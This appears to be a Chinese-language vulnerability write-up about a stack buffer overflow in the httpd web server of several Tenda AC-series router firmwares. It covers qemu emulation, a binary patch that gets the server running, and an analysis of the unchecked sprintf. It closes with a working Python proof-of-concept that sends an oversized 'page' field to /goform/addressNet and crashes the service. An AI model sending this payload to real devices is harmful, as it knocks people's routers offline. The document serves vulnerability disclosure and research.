漏洞描述
An issue was discovered on Tenda AC7 V15.03.06.44_CN, AC9 V15.03.05.19(6318)_CN, AC10 V15.03.06.23_CN, AC15 V15.03.05.19_CN, and AC18 V15.03.05.19(6318)_CN devices. It is a buffer overflow vulnerability in the router’s web server – httpd. When processing the “page” parameter of the function “fromAddressNat” for a post request, the value is directly used in a sprintf to a local variable placed on the stack, which overrides the return address of the function.
复现工具
虚拟机:ubuntu22.04
固件版本:US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin
工具:binwalk,qemu,ida,burpsuite,gdb
仿真路由环境
将qemu-arm-static复制到squashfs-root目录
cp $(which qemu-arm-static) .
用户级调试来模拟路由环境
sudo chroot ./ ./qemu-arm-static ./bin/httpd
发现报了一个connect cfm failed错,ida逆httpd看汇编
CMP R3,#0这行就是如果 R3为0的时候就会跳转到以下报错代码,反之跳转到loc_2E558代码
那就修改MOV R3,R0patch为MOV R3,#1,以此来强制执行loc_2E558代码
将patch后的程序替换掉之前的,继续执行仿真
浏览器输入ip报如下错
由于webroot是空的所以就page not found了,进行如下操作再次刷新
rm -rf webroot
sudo ln -s webroot_ro/ webroot
漏洞分析
函数中,第12、13、16行获取Web请求中名为“Entrys”、“Mitinterface”和“page”的变量,将其值存储在指针变量V9、V8和V7中,前两个变量未经处理直接通过sprintf传递到s中,“page”变量会被sprintf拼接到v6中, 并没有对大小进行检查,这可能会导致基于s和v6的堆栈缓冲区溢出。因此,通过请求该页面,攻击者可以利用精心设计的溢出数据来执行拒绝服务攻击。
POC
import socket
import os
from pwn import *
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
ip = '192.168.244.130'
port = 80
r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
li('[+] connecting')
r.connect((ip, port))
li('[+] connect finish')
rn = b'\r\n'
p1 = b'A' * 0x500
p2 = b'page=' + p1
p3 = b"POST /goform/addressNet" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.244.130" + rn
p3 += b"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
p3 += b"Accept-Language: gzip, deflate" + rn
p3 += b"Accept-Encoding: zh-CN,zh;q=0.9" + rn
p3 += b"Cookie: password=uoa1qw" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded; charset=UTF-8'+rn
p3 += rn
p3 += p2
li('[+] sending payload')
r.send(p3)
response = r.recv(4096)
response = response.decode()
li(response)
发送此漏洞验证脚本,路由服务会直接崩溃